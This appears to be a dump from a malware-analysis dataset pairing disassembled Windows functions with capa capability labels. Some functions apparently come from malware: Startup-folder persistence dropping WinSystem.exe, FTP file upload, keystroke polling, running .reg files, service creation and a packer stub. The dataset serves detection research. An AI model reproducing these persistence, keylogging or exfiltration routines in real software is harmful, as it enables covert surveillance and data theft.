joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001e3a
Capabilities:
Execute command

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0xa0]
lea rdx, str._C:Users_
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0xa0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0xa0]
add rax, rdx
movabs rcx, 0x6765722e31676572
mov qword [rax], rcx
mov byte [rax + 8], 0
lea rax, [rbp + 0xa0]
mov rcx, rax
call dbg.CatBrace
lea rdx, [rbp + 0xa0]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, [0x14000d165]
mov rcx, rax
call dbg.sprintf
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.system
mov dword [rbp + 0xdc], eax
cmp dword [rbp + 0xdc], 0
jne 0x140001ee5
lea rax, str.Il_file_.reg__stato_eseguito_con_successo._n
mov rcx, rax
call dbg.printf
jmp 0x140001ef4
lea rax, str.Si__verificato_un_errore_durante_lesecuzione_del_file_.reg._n
mov rcx, rax
call dbg.printf
mov eax, 0
add rsp, 0x160
pop rbp
ret

Function at 0x140001fc2
Capabilities:
Copy file
Get common file path

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xc0
mov qword [rbp - 0x18], 0
lea rax, [rbp - 0x18]
mov r9, rax
mov r8d, 0
mov edx, 0
mov rax, qword [0x14000e420]
mov rcx, rax
call sym.SHGetKnownFolderPath
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
js 0x14000200f
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoTaskMemFree]
call rax
lea rax, [0x14001d4a0]
mov qword [rbp - 0x10], rax
movabs rax, 0x73726573555c3a43
mov edx, 0x5c
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov dword [rbp - 0x20], 0
mov qword [rbp - 0xa0], 0
mov qword [rbp - 0x98], 0
mov qword [rbp - 0x90], 0
mov qword [rbp - 0x88], 0
mov qword [rbp - 0x80], 0
mov qword [rbp - 0x78], 0
mov qword [rbp - 0x70], 0
mov qword [rbp - 0x68], 0
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x58], 0
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x48], 0
mov dword [rbp - 0x40], 0
lea rdx, [rbp - 0x30]
lea rax, [rbp - 0xa0]
mov rcx, rax
call sym.strcat
lea rax, [rbp - 0xa0]
lea rdx, [0x14001d380]
mov rcx, rax
call sym.strcat
lea rax, [rbp - 0xa0]
lea rdx, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupWinSystem.exe
mov rcx, rax
call sym.strcat
lea rdx, [rbp - 0xa0]
mov rax, qword [rbp - 0x10]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
jne 0x140002112
mov eax, 0
jmp 0x140002117
mov eax, 0
add rsp, 0xc0
pop rbp
ret
Function at 0x1400023b5
Capabilities:
Connect to http server
Create http request
Send file using ftp

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
call dbg.check_internet_connection
test eax, eax
je 0x1400023ee
mov dword [rbp - 4], 1
lea rax, str.Connessione_a_Internet_attiva._n
mov rcx, rax
call dbg.printf
jmp 0x140002415
mov dword [rbp - 4], 0
mov eax, dword [0x14001d6e0]
add eax, 0xc350
mov dword [0x14001d6e0], eax
lea rax, str.Connessione_a_Internet_non_attiva._n
mov rcx, rax
call dbg.printf
cmp dword [rbp - 4], 0
je 0x1400025fe
mov rax, qword [rbp + 0x28]
lea rdx, [0x14000d014]
mov rcx, rax
call sym.fopen
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000245d
mov rax, qword [rbp + 0x28]
mov rdx, rax
lea rax, str.Il_file_non_esiste:__s_n
mov rcx, rax
call dbg.printf
mov eax, 1
jmp 0x140002603
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.fclose
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.FTP_Example
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x1400024c4
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.InternetOpen_failed:__ld_n
mov rcx, rax
call dbg.printf
mov eax, 1
jmp 0x140002603
mov r8, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x10]
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x8000000
mov dword [rsp + 0x28], 1
mov rcx, qword [rbp + 0x20]
mov qword [rsp + 0x20], rcx
mov r9, r8
mov r8d, 0x15
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetConnectA]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x140002546
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.InternetConnect_failed:__ld_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 1
jmp 0x140002603
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str.TYPE_I
mov r8d, 2
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_FtpCommandA]
call rax
mov rcx, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x28]
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x20], 0
mov r9d, 2
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_FtpPutFileA]
call rax
mov dword [rbp - 0x24], eax
cmp dword [rbp - 0x24], 0
jne 0x1400025c3
lea rax, str.FtpPutFile_failed:
mov rcx, rax
call dbg.printf
call dbg.printInternetError
jmp 0x1400025d2
lea rax, str.File_uploaded_successfully_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
cmp dword [rbp - 0x24], 0
sete al
movzx eax, al
jmp 0x140002603
mov eax, 0
add rsp, 0x70
pop rbp
ret
Function at 0x140002609
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov dword [rbp + 0x10], ecx
mov eax, dword [rbp + 0x10]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140003ec0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x140004b92
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14001d848]
test eax, eax
je 0x140004c2a
lea rax, [0x14001d820]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14001d850]
mov qword [rbp - 8], rax
jmp 0x140004c0e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140004c02
cmp qword [rbp - 0x10], 0
je 0x140004c02
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140004bc8
lea rax, [0x14001d820]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140004c2b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140004d30
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140004d58
mov eax, 0
jmp 0x140004da6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140004d81
mov eax, 0
jmp 0x140004da6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140004da1
mov eax, 0
jmp 0x140004da6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x140004dac
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140004e2a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140004e21
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140004e21
mov rax, qword [rbp - 8]
jmp 0x140004e3f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140004df4
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1004010e0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call sub.cygwin1.dll___getreent
mov rcx, qword [rax + 0x18]
lea r9, str._______________Q_msgkey____M_shmkey____S_semkey__...
lea r8, str.usage:_ipcrm___q_msqid____m_shmid____s_semid_
lea rdx, str._s_n_s_n
call sub.cygwin1.dll_fprintf
mov ecx, 1
call sub.cygwin1.dll_exit
nop
nop word cs:[rax + rax]
Function at 0x140130d43
Capabilities:
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
add byte [rbx + rcx*4 + 0x50], cl
xor byte [rcx + 0x63], cl
cmp al, 0x42
mov ebx, dword [rcx + rdx + 0x88]
Function at 0x1685120
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x168512d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x168513d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1685125
lea eax, [rcx + 1]
jmp 0x168514b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x168515e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1685144
sub eax, 3
jb 0x168517e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x16851cd
sar eax, 1
movsxd rbp, eax
jb 0x16851b4
jmp 0x168518c
add ebx, ebx
jne 0x168518a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x16851b4
inc ecx
add ebx, ebx
jne 0x168519a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x16851b4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x16851ad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x168519c
add ecx, 2
jmp 0x16851b9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.016850e2
jmp 0x168512d
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x1263000]
mov eax, dword [rdi]
or eax, eax
je 0x1685229
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1285000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x16851d9
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1685223
mov qword [rbx], rax
add rbx, 8
jmp 0x16851f9
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x168526d
cmp al, 0xef
ja 0x1685255
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1685235
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x1685244
mov eax, dword [rdi]
add rdi, 4
jmp 0x1685244
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x16852c1
sub rsp, 0xffffffffffffff80
jmp 0x46b6a0
Function at 0x140008b40
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0x90
mov r12, rdx
mov rsi, rcx
xor r13d, r13d
mov dword [rbp - 0x49], r13d
lea rcx, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp - 0x39], rcx
lea rdi, vtable.CVolObject.0
mov qword [rbp - 0x39], rdi
mov qword [rbp - 0x31], r13
mov qword [rbp - 0x29], r13
lea rax, vtable.CWString.0
mov qword [rbp - 0x39], rax
lea rax, [rbp - 0x19]
mov qword [rbp + 0x6f], rax
mov qword [rbp - 0x19], rcx
mov qword [rbp - 0x19], rdi
mov qword [rbp - 0x11], r13
mov qword [rbp - 9], r13
lea rbx, vtable.CVolMem.0
mov qword [rbp - 0x19], rbx
mov qword [rbp - 1], r13
mov qword [rbp + 0xf], r13
mov qword [rbp + 7], r13
mov qword [rbp + 0x17], 0x40
mov qword [rbp - 0x21], r13
mov qword [rbp + 0x17], 0xfe
mov rcx, rdx
call qword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov r14d, eax
test eax, eax
jne 0x140008c4a
mov rax, qword [rbp - 0x21]
test rax, rax
jne 0x140008c03
lea rax, [0x14026de70]
cmp qword [rbp + 0xf], r13
cmovne rax, qword [rbp - 1]
mov rdx, rax
mov rcx, rsi
call fcn.140008ac0
mov dword [rbp - 0x49], 1
lea rax, [rbp - 0x19]
mov qword [rbp + 0x6f], rax
mov qword [rbp - 0x19], rbx
mov rdx, qword [rbp - 1]
test rdx, rdx
je 0x140008c35
lea rcx, [rbp - 0x19]
mov rax, qword [rbp - 0x19]
call qword [rax + 0x18]
mov qword [rbp - 1], r13
mov qword [rbp + 0xf], r13
mov qword [rbp + 7], r13
mov qword [rbp - 0x19], rdi
jmp 0x140008d3c
inc r14d
movsxd r15, r14d
mov eax, 2
mul r15
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14002f4d0
mov rbx, rax
test r14d, r14d
je 0x140008c87
movzx eax, r13w
mov rdi, rbx
mov rcx, r15
rep stosw word [rdi], ax
lea rdi, vtable.CVolObject.0
mov r8d, r14d
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov qword [rbp - 0x21], r13
mov rdx, qword [rbp - 1]
test rdx, rdx
je 0x140008cae
lea rcx, [rbp - 0x19]
mov rax, qword [rbp - 0x19]
call qword [rax + 0x18]
mov qword [rbp - 1], r13
mov qword [rbp + 0xf], r13
mov qword [rbp + 7], r13
test rbx, rbx
je 0x140008cd1
cmp word [rbx], 0
je 0x140008cd1
mov rdx, rbx
lea rcx, [rbp - 0x19]
call fcn.140039330
mov rcx, rbx
call fcn.140048264
mov rax, qword [rbp - 0x21]
test rax, rax
jne 0x140008cf3
lea rax, [0x14026de70]
cmp qword [rbp + 0xf], 0
cmovne rax, qword [rbp - 1]
mov rdx, rax
mov rcx, rsi
call fcn.140008ac0
mov dword [rbp - 0x49], 1
lea rax, [rbp - 0x19]
mov qword [rbp + 0x6f], rax
lea rax, vtable.CVolMem.0
mov qword [rbp - 0x19], rax
mov rdx, qword [rbp - 1]
test rdx, rdx
je 0x140008d2c
lea rcx, [rbp - 0x19]
mov rax, qword [rbp - 0x19]
call qword [rax + 0x18]
mov qword [rbp - 1], r13
mov qword [rbp + 0xf], r13
mov qword [rbp + 7], r13
mov qword [rbp - 0x19], rdi
mov qword [rbp - 0x39], rdi
mov rax, rsi
mov rbx, qword [rsp + 0xe0]
add rsp, 0x90
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14002e990
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14002ea05
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x14002ea05
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x14002e9f5
nop
cmp rbx, rcx
jae 0x14002ea05
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x14002e9e0
cmp rbx, rcx
jae 0x14002ea05
cmp word [rbx], 0
je 0x14002ea05
mov rax, rbx
jmp 0x14002ea07
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x14002ea20
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov eax, r8d
mov rsi, rdx
shr eax, 4
mov edi, r8d
inc ax
mov r14, rcx
movzx edx, ax
mov r8d, 6
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbp, rax
test rax, rax
je 0x14002eb3b
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14002eb3b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x14002eb3b
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x14002eac9
nop word [rax + rax]
cmp rbx, rcx
jae 0x14002eb3b
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x14002eab0
cmp rbx, rcx
jae 0x14002eb3b
movzx edi, word [rbx]
test di, di
je 0x14002eb3b
mov r10, qword [r14]
mov ecx, 1
movzx edx, di
mov eax, dword [r10 - 0xc]
sub ecx, dword [r10 - 8]
sub eax, edi
or ecx, eax
jge 0x14002eaff
mov edx, edi
mov rcx, r14
call fcn.14002f160
mov r10, qword [r14]
movzx edx, word [rbx]
movzx r9d, dx
lea r8, [rbx + 2]
mov rdx, rdi
mov rcx, r10
call fcn.1401ecac0
xor edx, edx
test eax, eax
je 0x14002eb22
cmp eax, 0xc
je 0x14002eb5e
cmp eax, 0x50
jne 0x14002eb58
mov rcx, qword [r14]
cmp edi, dword [rcx - 0xc]
jg 0x14002eb64
mov dword [rcx - 0x10], edi
mov eax, 1
mov rcx, qword [r14]
mov word [rcx + rdi*2], dx
jmp 0x14002eb3d
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
call fcn.140052328
int3
call fcn.14005234c
int3
mov ecx, 0x80070057
call fcn.14002f1d0
int3
Function at 0x14002eb70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov edi, edx
mov ecx, edx
call fcn.140052e5c
mov rsi, rax
test rax, rax
jne 0x14002eba5
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov eax, edi
mov qword [rsp + 0x30], rbx
shr eax, 4
mov r8d, 6
inc ax
mov qword [rsp + 0x38], rbp
movzx edx, ax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbp, rax
test rax, rax
je 0x14002ec9d
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14002ec9d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x14002ec9d
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x14002ec2e
cmp rbx, rcx
jae 0x14002ec9d
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x14002ec15
cmp rbx, rcx
jae 0x14002ec9d
movzx edi, word [rbx]
test di, di
je 0x14002ec9d
mov r10, qword [r14]
mov ebp, 1
mov ecx, ebp
movzx edx, di
mov eax, dword [r10 - 0xc]
sub ecx, dword [r10 - 8]
sub eax, edi
or ecx, eax
jge 0x14002ec66
mov edx, edi
mov rcx, r14
call fcn.14002f160
mov r10, qword [r14]
movzx edx, word [rbx]
movzx r9d, dx
lea r8, [rbx + 2]
mov rdx, rdi
mov rcx, r10
call fcn.1401ecac0
xor ecx, ecx
test eax, eax
je 0x14002ec89
cmp eax, 0xc
je 0x14002ecc4
cmp eax, 0x50
jne 0x14002ecbe
mov rax, qword [r14]
cmp edi, dword [rax - 0xc]
jg 0x14002ecca
mov dword [rax - 0x10], edi
mov rax, qword [r14]
mov word [rax + rdi*2], cx
jmp 0x14002eca1
xor ecx, ecx
mov ebp, ecx
mov rbx, qword [rsp + 0x30]
mov eax, ebp
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
call fcn.140052328
int3
call fcn.14005234c
int3
mov ecx, 0x80070057
call fcn.14002f1d0
int3

Function at 0x140030710
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x1c8], 0
mov ebx, edx
mov rdi, rcx
jne 0x140030738
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.14005bf8c
test ebx, ebx
jne 0x140030753
mov qword [0x1402b9520], 1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1402ca81c], eax
cmp qword [0x1402b9520], 0
je 0x140030781
mov edx, ebx
mov rcx, rdi
call fcn.14005bf8c
movsxd rcx, eax
mov qword [0x1402b9520], rcx
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
cmp ebx, 2
jl 0x140030771
lea rcx, [0x1402c73c0]
call fcn.14003a2f0
mov rax, qword [rdi + 0x1c8]
mov rbx, qword [rax]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x1402ca81c]
mov rcx, qword [rdi + 0x1c8]
mov edx, eax
mov rax, qword [rbx + 0xa0]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp rax
Function at 0x1400334e0
Capabilities:
Create service
Start service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov rbx, rdx
mov rsi, rcx
xor edi, edi
xor edx, edx
xor ecx, ecx
lea r8d, [rdi + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbp, rax
test rax, rax
je 0x140033613
mov rax, qword [rsi + 0x18]
test rax, rax
jne 0x140033530
lea rax, [0x14026de70]
cmp qword [rsi + 0x48], rdi
je 0x140033530
mov rax, qword [rsi + 0x38]
mov r8, qword [rbx + 0x18]
test r8, r8
jne 0x140033553
cmp qword [rbx + 0x48], rdi
jne 0x14003354f
lea r8, [0x14026de70]
lea rdx, [0x14026de70]
jmp 0x140033556
mov r8, qword [rbx + 0x38]
mov rdx, r8
mov qword [rsp + 0x60], rdi
mov r9d, 0xf01ff
mov qword [rsp + 0x58], rdi
mov rcx, rbp
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rsi, rax
test rax, rax
jne 0x1400335dd
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x14003360a
mov rdx, qword [rbx + 0x18]
test rdx, rdx
jne 0x1400335c6
lea rdx, [0x14026de70]
cmp qword [rbx + 0x48], rdi
je 0x1400335c6
mov rdx, qword [rbx + 0x38]
mov r8d, 0xf01ff
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rsi, rax
test rax, rax
je 0x14003360a
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x1400335fc
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x140033601
mov edi, 1
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea r11, [rsp + 0x70]
mov eax, edi
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140033630
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x1402b8920]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor edi, edi
mov dword [rsp + 0x20], edi
mov byte [rsp + 0x38], dil
call fcn.140033870
test rax, rax
je 0x140033683
lea edx, [rdi + 0x10]
lea rcx, [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_gethostname]
movzx ecx, byte [rsp + 0x38]
cmp eax, 0xffffffff
cmove ecx, edi
mov byte [rsp + 0x38], cl
lea rcx, vtable.CVolObject.0
mov qword [rbx], rcx
mov qword [rbx + 8], rdi
mov qword [rbx + 0x10], rdi
lea rdx, vtable.CWString.0
mov qword [rbx], rdx
lea rax, [rbx + 0x20]
mov qword [rsp + 0x30], rax
mov qword [rax], rcx
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rdi
lea rcx, vtable.CVolMem.0
mov qword [rax], rcx
mov qword [rax + 0x18], rdi
mov qword [rax + 0x28], rdi
mov qword [rax + 0x20], rdi
mov qword [rax + 0x30], 0x40
mov qword [rbx + 0x18], rdi
mov qword [rbx + 0x50], 0xfe
mov qword [rbx], rdx
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.140033720
nop
mov dword [rsp + 0x20], 1
mov rax, rbx
